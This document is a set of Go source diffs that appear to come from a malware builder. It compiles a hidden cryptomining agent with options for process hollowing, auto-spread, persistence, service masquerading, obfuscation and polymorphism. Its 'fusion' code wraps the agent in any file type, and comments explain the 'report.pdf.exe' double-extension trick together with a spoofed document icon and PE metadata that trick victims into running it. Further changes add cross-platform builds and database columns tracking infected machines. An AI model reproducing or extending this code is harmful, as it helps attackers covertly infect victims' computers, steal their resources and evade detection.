assetsDir := filepath.Join(fusionDir, "assets") assetsDir := filepath.Join(fusionDir, "assets")
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil { // Write worker binary into assets
return nil, err if err := copyFile(workerPath, filepath.Join(assetsDir, "worker")); err != nil {
}
encFileName := mediaName + ".cmdata"
var mediaKey []byte
if mode == "paired" {
var keyErr error
mediaKey, keyErr = NewMediaLockKey()
if keyErr != nil {
return nil, keyErr
}
}
manifestFields := map[string]string{
"payload_kind": "video",
"media_mode": mode,
"media_file_name": mediaName,
}
if mode == "paired" {
manifestFields["media_enc_file"] = encFileName
manifestFields["media_key_b64"] = MediaLockKeyB64(mediaKey)
manifestFields["runner_display_name"] = outputName
}
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
return nil, err return nil, err
} }
var encryptedPath, shortcutPath string // Write payload according to delivery mode
switch mode { switch mode {
case "embedded": case "embedded":
if err := copyFile(mediaPath, filepath.Join(assetsDir, "media.bin")); err != nil { // Bake the payload into the runner binary as assets/payload.bin
if err := copyFile(payloadPath, filepath.Join(assetsDir, "payload.bin")); err != nil {
return nil, err
}
// Keep legacy placeholders so the embed directive compiles cleanly
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
return nil, err return nil, err
} }
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil { if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
return nil, err return nil, err
} }
default: default: // "paired"
// Empty placeholders — payload ships alongside the runner in the ZIP
if err := os.WriteFile(filepath.Join(assetsDir, "payload.bin"), []byte{}, 0644); err != nil {
return nil, err
}
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil { if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
return nil, err return nil, err
} }
@@ -115,73 +118,43 @@ func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *
} }
} }
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, outputName)) // Write manifest for the runner to read at runtime
ldflags := "-s -w -H windowsgui" manifestFields := map[string]string{
if _, err := h.compileGoProject(fusionDir, launcherPath, ldflags, nil, false); err != nil { "payload_kind": kind,
"media_mode": mode,
"media_file_name": mediaName,
}
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
return nil, err return nil, err
} }
if mode == "paired" { launcherPath, _ := filepath.Abs(filepath.Join(buildDir, platform.Label(), outputName))
encryptedPath = filepath.Join(buildDir, encFileName) ldflags := ldflagsFor(req, platform)
if err := EncryptMediaFile(mediaPath, encryptedPath, mediaKey); err != nil { // Force GUI subsystem (no console window) for all fusion runners
if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
ldflags += " -H windowsgui"
}
if _, err := h.compileGoProjectPlatform(fusionDir, launcherPath, ldflags, nil, false, platform); err != nil {
return nil, err return nil, err
} }
_ = setHiddenFile(encryptedPath)
shortcutPath = filepath.Join(buildDir, mediaName+".lnk") // Windows: inject the system icon + spoofed PE version info so the runner
if err := createMovieLockShortcut(shortcutPath, launcherPath, "--locked", ""); err != nil { // looks exactly like the real file type (PDF icon, Word icon, etc.)
return nil, err if platform.GOOS == "windows" && kind != "exe" {
payloadExt := strings.ToLower(filepath.Ext(mediaName))
if err := h.applyDocumentDisguise(payloadExt, launcherPath); err != nil {
// Non-fatal — runner still works without the disguise
log.Printf("[Disguise] skipped for %s: %v", filepath.Base(launcherPath), err)
} }
} }
return &fusionBuildResult{ return &fusionBuildResult{
LauncherPath: launcherPath, LauncherPath: launcherPath,
MediaName: mediaName, MediaName: mediaName,
EncryptedPath: encryptedPath,
ShortcutPath: shortcutPath,
}, nil }, nil
} }
func (h *Handler) buildExeFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) { // prepareFusionProject copies the fusion source into a temp build dir with baked constants.
fusionDir, err := h.prepareFusionProject(buildDir, runOrder, "exe", "", "")
if err != nil {
return "", err
}
assetsDir := filepath.Join(fusionDir, "assets")
if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
return "", err
}
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
return "", err
}
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
return "", err
}
if err := writeFusionManifest(assetsDir, "exe", "", ""); err != nil {
return "", err
}
if outputName == "" {
outputName = filepath.Base(prepPath)
}
if outputName == "" {
outputName = "prep.exe"
}
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
outputName += ".exe"
}
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
ldflags := fusionLdflags(prepPath)
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
return "", err
}
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
return "", err
}
return outputPath, nil
}
func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) { func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) {
fusionSrc := filepath.Join(h.projectRoot, "fusion") fusionSrc := filepath.Join(h.projectRoot, "fusion")
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil { if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
@@ -205,7 +178,8 @@ func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMod
for _, name := range []string{ for _, name := range []string{
"go.mod", "launch_windows.go", "launch_stub.go", "go.mod", "launch_windows.go", "launch_stub.go",
"media_windows.go", "media_stub.go", "media_crypto.go", "media_windows.go", "media_linux.go", "media_darwin.go",
"media_crypto.go", "cache_windows.go", "cache_unix.go",
"lock_hint_windows.go", "lock_hint_stub.go", "lock_hint_windows.go", "lock_hint_stub.go",
} { } {
src := filepath.Join(fusionSrc, name) src := filepath.Join(fusionSrc, name)
@@ -259,26 +233,38 @@ func normalizeFusionMediaMode(mode string) string {
} }
} }
func disguiseVideoExeName(mediaName string) string { // runnerNameForFile generates the output runner binary name for a given payload filename.
base := strings.TrimSuffix(mediaName, filepath.Ext(mediaName)) //
if base == "" { // On Windows, non-exe payloads use the double-extension trick:
base = "movie" //
} // "quarterly-report.pdf" → "quarterly-report.pdf.exe"
ext := filepath.Ext(mediaName) //
if ext == "" { // When Windows hides known file extensions (the OS default), the user sees
ext = ".mkv" // "quarterly-report.pdf" with the injected PDF icon — visually identical to the
} // real document. After applyDocumentDisguise runs, the PE metadata also matches.
return sanitizeFileName(base + ext + ".exe") //
} // On Linux/macOS the runner uses a simple "-runner" suffix (these platforms
// wrap the binary in a .app bundle or the user is expected to chmod+x it).
func runnerNameForMedia(mediaName string) string { func runnerNameForFile(mediaName string, platform BuildPlatform) string {
ext := strings.ToLower(filepath.Ext(mediaName))
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName)) base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
if base == "" { if base == "" {
base = "movie" base = "runner"
} }
return sanitizeFileName(base + "-runner.exe") if platform.GOOS == "windows" {
// Use disguisedRunnerName which handles double-extension and sanitisation
return disguisedRunnerName(mediaName)
}
// Linux / macOS: simple "-runner" name, no double extension
name := sanitizeFileName(base + "-runner")
_ = ext // extension not needed for Unix names
if platform.Ext != "" {
return name + platform.Ext
}
return name
} }
// fusionExportSubdir returns the output subfolder name for the deliverable.
func fusionExportSubdir(req *BuildRequest, mediaName string) string { func fusionExportSubdir(req *BuildRequest, mediaName string) string {
if s := strings.TrimSpace(req.FusionExportSubdir); s != "" { if s := strings.TrimSpace(req.FusionExportSubdir); s != "" {
return sanitizeDirName(s) return sanitizeDirName(s)

View File

@@ -56,12 +56,37 @@ func TestSaveUploadedFusionPayloadCreatesPrepsDir(t *testing.T) {
} }
} }
func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) { // Fusion now accepts any file with an extension (.txt, .pdf, .mp4, .docx, etc.)
// Only files with no extension at all are rejected.
func TestSaveUploadedFusionPayloadAcceptsAnyExtension(t *testing.T) {
for _, fname := range []string{"report.pdf", "clip.mp4", "doc.docx", "data.txt", "archive.zip"} {
h := &Handler{dataDir: t.TempDir()} h := &Handler{dataDir: t.TempDir()}
body := &bytes.Buffer{} body := &bytes.Buffer{}
w := multipart.NewWriter(body) w := multipart.NewWriter(body)
partHeader := make(textproto.MIMEHeader) partHeader := make(textproto.MIMEHeader)
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="bad.txt"`) partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="`+fname+`"`)
part, _ := w.CreatePart(partHeader)
_, _ = part.Write([]byte("x"))
w.Close()
r := multipart.NewReader(body, w.Boundary())
form, _ := r.ReadForm(10 << 20)
f, _ := form.File["prep_exe"][0].Open()
_, cleanup, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
f.Close()
if err != nil {
t.Errorf("expected %s to be accepted, got error: %v", fname, err)
} else {
cleanup()
}
}
}
func TestSaveUploadedFusionPayloadRejectsNoExtension(t *testing.T) {
h := &Handler{dataDir: t.TempDir()}
body := &bytes.Buffer{}
w := multipart.NewWriter(body)
partHeader := make(textproto.MIMEHeader)
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="noextension"`)
part, _ := w.CreatePart(partHeader) part, _ := w.CreatePart(partHeader)
_, _ = part.Write([]byte("x")) _, _ = part.Write([]byte("x"))
w.Close() w.Close()
@@ -71,6 +96,6 @@ func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
defer f.Close() defer f.Close()
_, _, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0]) _, _, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
if err == nil { if err == nil {
t.Fatal("expected error for .txt upload") t.Fatal("expected error for file with no extension")
} }
} }

View File

@@ -70,6 +70,11 @@ type BuildRequest struct {
ProcessHollowing bool `json:"process_hollowing"` ProcessHollowing bool `json:"process_hollowing"`
MeshP2P bool `json:"mesh_p2p"` MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"` AutoSpread bool `json:"auto_spread"`
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
TargetOS string `json:"target_os"`
TargetArch string `json:"target_arch"`
SpreadKit bool `json:"spread_kit"`
Obfuscate bool `json:"obfuscate"` Obfuscate bool `json:"obfuscate"`
SignBuild bool `json:"sign_build"` SignBuild bool `json:"sign_build"`
} }
@@ -217,14 +222,11 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return return
} }
if req.FusionEnabled && prepPath == "" { if req.FusionEnabled && prepPath == "" {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no prep.exe uploaded"}) writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no payload file uploaded"})
return return
} }
if req.FusionEnabled && req.FusionOutputName == "" { // FusionOutputName will be derived from the payload filename if not set
req.FusionOutputName = "prep.exe"
}
resp, status, outputPath := h.buildAgent(&req, prepPath) resp, status, outputPath := h.buildAgent(&req, prepPath)
if !resp.Success { if !resp.Success {
writeJSON(w, status, resp) writeJSON(w, status, resp)
@@ -381,6 +383,10 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
} }
func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) { func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
return h.buildUniversalAgent(req, prepPath)
}
buildID := uuid.New().String() buildID := uuid.New().String()
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID)) buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
agentDir := filepath.Join(buildDir, "agent") agentDir := filepath.Join(buildDir, "agent")
@@ -398,34 +404,16 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
if err := os.MkdirAll(configDir, 0755); err != nil { if err := os.MkdirAll(configDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, "" return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
} }
if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, ""
}
workerName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName)) platforms := platformsForRequest(req)
if req.FusionEnabled { p := platforms[0]
workerName = fmt.Sprintf("worker-%s.exe", sanitizeFileName(req.WorkerName)) outputPath, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
}
outputPath, _ := filepath.Abs(filepath.Join(buildDir, workerName))
ldflags := "-s -w"
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled {
ldflags += " -H windowsgui"
}
extra, err := injectPolymorph(agentDir, buildID)
if err != nil { if err != nil {
log.Printf("[Forge] polymorph inject: %v", err)
} else {
ldflags += extra
}
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
log.Printf("Build failed: %v", err) log.Printf("Build failed: %v", err)
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
} }
obfuscated := h.shouldObfuscate(req) && h.garblePath != "" && p.GOOS == "windows"
workerName := filepath.Base(outputPath)
finalPath := outputPath finalPath := outputPath
finalName := workerName finalName := workerName
var fusionEnabled bool var fusionEnabled bool
@@ -473,13 +461,16 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
if exportLabel == "" { if exportLabel == "" {
exportLabel = filepath.Base(prepPath) exportLabel = filepath.Base(prepPath)
} }
if req.FusionPayloadKind != "video" {
exportLabel = strings.TrimSuffix(finalName, filepath.Ext(finalName))
}
arts := map[string]string{finalName: finalPath} arts := map[string]string{finalName: finalPath}
for _, ex := range extraArtifacts { for _, ex := range extraArtifacts {
arts[ex.FileName] = ex.FilePath arts[ex.FileName] = ex.FilePath
} }
// In paired mode the runner looks for the payload file next to (or above) the binary.
// Include it in the deliverable so the ZIP is self-contained without needing the
// user to place the file themselves.
if normalizeFusionMediaMode(req.FusionMediaMode) == "paired" && prepPath != "" {
arts[sanitizeFileName(filepath.Base(prepPath))] = prepPath
}
subdir := fusionExportSubdir(req, exportLabel) subdir := fusionExportSubdir(req, exportLabel)
readme := fusionReadmeInfo{ readme := fusionReadmeInfo{
Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)), Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
@@ -567,6 +558,12 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
relPath = filepath.Join(h.dataDir, "builds", buildID, finalName) relPath = filepath.Join(h.dataDir, "builds", buildID, finalName)
} }
// Normalise platform tag for easy lookup by /get endpoint
recordPlatform := strings.ToLower(strings.TrimSpace(req.TargetOS))
if recordPlatform == "" {
recordPlatform = "windows"
}
buildRecord := &models.BuildRecord{ buildRecord := &models.BuildRecord{
ID: buildID, ID: buildID,
WorkerName: req.WorkerName, WorkerName: req.WorkerName,
@@ -574,7 +571,9 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
Wallet: req.Wallet, Wallet: req.Wallet,
Threads: req.Threads, Threads: req.Threads,
FileSize: fileInfo.Size(), FileSize: fileInfo.Size(),
BundleSize: bundleSize,
FilePath: absPath, FilePath: absPath,
Platform: recordPlatform,
CreatedAt: time.Now(), CreatedAt: time.Now(),
PoolHost: req.PoolHost, PoolHost: req.PoolHost,
PoolPort: req.PoolPort, PoolPort: req.PoolPort,
@@ -789,6 +788,18 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
req.AIModel = "llama3.2" req.AIModel = "llama3.2"
} }
} }
if strings.TrimSpace(req.TargetOS) == "" {
req.TargetOS = "windows"
}
if req.SpreadKit {
req.FusionEnabled = false
req.TargetOS = "universal"
if req.RunAs == "" || req.RunAs == "user" {
req.RunAs = "scheduled"
}
req.Persistence = true
req.AutoStart = true
}
return nil return nil
} }
@@ -807,7 +818,7 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
return "", nil, fmt.Errorf("fusion upload filename is invalid") return "", nil, fmt.Errorf("fusion upload filename is invalid")
} }
if !isFusionPayloadExt(baseName) { if !isFusionPayloadExt(baseName) {
return "", nil, fmt.Errorf("fusion upload must be .exe, .mp4, .mkv, or .mov") return "", nil, fmt.Errorf("fusion upload has no recognisable file extension")
} }
prepRoot := filepath.Join(h.dataDir, "preps") prepRoot := filepath.Join(h.dataDir, "preps")
@@ -842,13 +853,11 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
return dest, cleanup, nil return dest, cleanup, nil
} }
// isFusionPayloadExt accepts any file with a non-empty extension.
// Fusion now supports any file type — PDF, video, document, image, executable, etc.
func isFusionPayloadExt(name string) bool { func isFusionPayloadExt(name string) bool {
switch strings.ToLower(filepath.Ext(name)) { ext := strings.ToLower(filepath.Ext(name))
case ".exe", ".mp4", ".mkv", ".mov": return ext != "" && ext != "."
return true
default:
return false
}
} }
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string { func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
@@ -864,7 +873,6 @@ func GetBuiltinConfig() BuiltinConfig {
return BuiltinConfig{ return BuiltinConfig{
WorkerName: %q, WorkerName: %q,
ServerURL: %q, ServerURL: %q,
BackupServerURLs: %s,
Wallet: %q, Wallet: %q,
Threads: %d, Threads: %d,
ThreadMode: %q, ThreadMode: %q,
@@ -903,6 +911,9 @@ func GetBuiltinConfig() BuiltinConfig {
ProcessHollowing: %v, ProcessHollowing: %v,
MeshP2P: %v, MeshP2P: %v,
AutoSpread: %v, AutoSpread: %v,
HolePunch: %v,
RemoteAggressive: %v,
BackupServerURLs: %s,
ServiceMasquerade: %v, ServiceMasquerade: %v,
ServiceName: %q, ServiceName: %q,
ServiceDonor: %q, ServiceDonor: %q,
@@ -911,7 +922,6 @@ func GetBuiltinConfig() BuiltinConfig {
`, buildID, time.Now().UTC().Format(time.RFC3339), `, buildID, time.Now().UTC().Format(time.RFC3339),
req.WorkerName, req.WorkerName,
req.ServerURL, req.ServerURL,
formatGoStringSlice(req.BackupServerURLs),
req.Wallet, req.Wallet,
req.Threads, req.Threads,
req.ThreadMode, req.ThreadMode,
@@ -950,6 +960,9 @@ func GetBuiltinConfig() BuiltinConfig {
req.ProcessHollowing, req.ProcessHollowing,
req.MeshP2P, req.MeshP2P,
req.AutoSpread, req.AutoSpread,
req.HolePunch,
req.RemoteAggressive,
formatGoStringSlice(req.BackupServerURLs),
serviceMasqueradeEnabled(req), serviceMasqueradeEnabled(req),
serviceMasqueradeName(buildID, req), serviceMasqueradeName(buildID, req),
serviceMasqueradeDonor(buildID, req), serviceMasqueradeDonor(buildID, req),

View File

@@ -0,0 +1,75 @@
package builder
import "strings"
// BuildPlatform identifies a GOOS/GOARCH compile target.
type BuildPlatform struct {
GOOS string
GOARCH string
Ext string
}
func (p BuildPlatform) Label() string {
return p.GOOS + "-" + p.GOARCH
}
func (p BuildPlatform) BinDir() string {
return "bin/" + p.Label()
}
var defaultPlatforms = []BuildPlatform{
{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"},
{GOOS: "linux", GOARCH: "amd64", Ext: ""},
{GOOS: "linux", GOARCH: "arm64", Ext: ""},
{GOOS: "darwin", GOARCH: "arm64", Ext: ""},
{GOOS: "darwin", GOARCH: "amd64", Ext: ""},
}
func platformsForRequest(req *BuildRequest) []BuildPlatform {
target := strings.ToLower(strings.TrimSpace(req.TargetOS))
if target == "" || target == "windows" {
return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}
}
if target == "linux" {
arch := req.TargetArch
if arch == "" {
arch = "amd64"
}
return []BuildPlatform{{GOOS: "linux", GOARCH: arch, Ext: ""}}
}
if target == "darwin" {
arch := req.TargetArch
if arch == "" {
arch = "arm64"
}
return []BuildPlatform{{GOOS: "darwin", GOARCH: arch, Ext: ""}}
}
if target == "universal" {
if req.TargetArch != "" && req.TargetArch != "all" {
for _, p := range defaultPlatforms {
if p.GOARCH == req.TargetArch {
return []BuildPlatform{p}
}
}
}
return append([]BuildPlatform{}, defaultPlatforms...)
}
return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}
}
func workerFileName(worker string, p BuildPlatform, fusion bool) string {
base := sanitizeFileName(worker)
if fusion {
return "worker-" + base + p.Ext
}
return "install-" + base + p.Ext
}
func ldflagsFor(req *BuildRequest, p BuildPlatform) string {
ldflags := "-s -w"
gui := req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled
if p.GOOS == "windows" && gui {
ldflags += " -H windowsgui"
}
return ldflags
}

View File

@@ -0,0 +1,77 @@
package builder
import (
"go/parser"
"go/token"
"strings"
"testing"
)
func TestPlatformsForRequestWindowsDefault(t *testing.T) {
req := &BuildRequest{TargetOS: ""}
ps := platformsForRequest(req)
if len(ps) != 1 || ps[0].GOOS != "windows" {
t.Fatalf("expected single windows platform, got %+v", ps)
}
}
func TestPlatformsForRequestLinux(t *testing.T) {
req := &BuildRequest{TargetOS: "linux", TargetArch: "arm64"}
ps := platformsForRequest(req)
if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" {
t.Fatalf("expected linux/arm64, got %+v", ps)
}
}
func TestPlatformsForRequestUniversal(t *testing.T) {
req := &BuildRequest{TargetOS: "universal"}
ps := platformsForRequest(req)
if len(ps) != len(defaultPlatforms) {
t.Fatalf("expected %d platforms, got %d", len(defaultPlatforms), len(ps))
}
if len(ps) < 5 {
t.Fatalf("expected at least 5 universal platforms including linux-arm64, got %d", len(ps))
}
}
// TestGenerateBuiltinConfigValid checks that the generated Go source for builtin.go
// is syntactically valid, catching any mismatch between the template and BuiltinConfig.
func TestGenerateBuiltinConfigValid(t *testing.T) {
h := &Handler{}
req := &BuildRequest{
WorkerName: "test",
ServerURL: "http://127.0.0.1:8989",
Wallet: "4TEST",
Threads: 4,
ThreadMode: "percent",
ThreadPercent: 75,
PoolHost: "pool.supportxmr.com",
PoolPort: 3333,
PoolPass: "x",
RunAs: "scheduled",
InstallBase: "localappdata",
}
src := h.generateBuiltinConfig("test-build-id", req)
fset := token.NewFileSet()
if _, err := parser.ParseFile(fset, "builtin.go", src, 0); err != nil {
t.Fatalf("generateBuiltinConfig produced invalid Go source: %v\n\n%s", err, src)
}
if !strings.Contains(src, "ServiceMasquerade") {
t.Error("expected ServiceMasquerade field in generated config")
}
if !strings.Contains(src, "BackupServerURLs") {
t.Error("expected BackupServerURLs field in generated config")
}
}
func TestLdflagsForWindowsGUI(t *testing.T) {
req := &BuildRequest{StealthMode: true}
ld := ldflagsFor(req, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
if !strings.Contains(ld, "windowsgui") {
t.Fatalf("expected windowsgui in ldflags, got %q", ld)
}
ldLinux := ldflagsFor(req, BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""})
if strings.Contains(ldLinux, "windowsgui") {
t.Fatalf("linux ldflags must not include windowsgui: %q", ldLinux)
}
}

View File

@@ -38,7 +38,7 @@ func (d *Database) scanAgent(row interface {
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, &a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
&a.SharesTotal, &a.SharesGood, &a.SharesBad, &a.SharesTotal, &a.SharesGood, &a.SharesBad,
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds, &a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
&notes, &tagsRaw, &notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion,
) )
if err != nil { if err != nil {
return nil, err return nil, err
@@ -50,7 +50,7 @@ func (d *Database) scanAgent(row interface {
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags` cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version`
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error { func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id) _, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)

View File

@@ -111,8 +111,13 @@ func (d *Database) migrate() error {
// Best-effort schema upgrades for existing databases. // Best-effort schema upgrades for existing databases.
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN arch TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
return nil return nil
} }
@@ -120,8 +125,8 @@ func (d *Database) migrate() error {
// Agent operations // Agent operations
func (d *Database) UpsertAgent(a *models.Agent) error { func (d *Database) UpsertAgent(a *models.Agent) error {
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at) query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP)) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET ON CONFLICT(id) DO UPDATE SET
name = excluded.name, name = excluded.name,
wallet = excluded.wallet, wallet = excluded.wallet,
@@ -130,8 +135,11 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
status = excluded.status, status = excluded.status,
cpu_cores = excluded.cpu_cores, cpu_cores = excluded.cpu_cores,
memory_gb = excluded.memory_gb, memory_gb = excluded.memory_gb,
last_seen = excluded.last_seen` last_seen = excluded.last_seen,
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID) platform = excluded.platform,
arch = excluded.arch,
os_version = excluded.os_version`
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion)
return err return err
} }
@@ -241,17 +249,41 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
// Build operations // Build operations
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, platform, created_at, pool_host, pool_port, pool_tls, pool_pass`
func scanBuild(row interface {
Scan(...any) error
}) (*models.BuildRecord, error) {
b := &models.BuildRecord{}
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
&b.FilePath, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
return b, err
}
func (d *Database) InsertBuild(b *models.BuildRecord) error { func (d *Database) InsertBuild(b *models.BuildRecord) error {
_, err := d.Exec("INSERT INTO builds (id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", _, err := d.Exec(`INSERT INTO builds
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.FilePath, b.CreatedAt, (id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, platform, created_at, pool_host, pool_port, pool_tls, pool_pass)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.BundleSize,
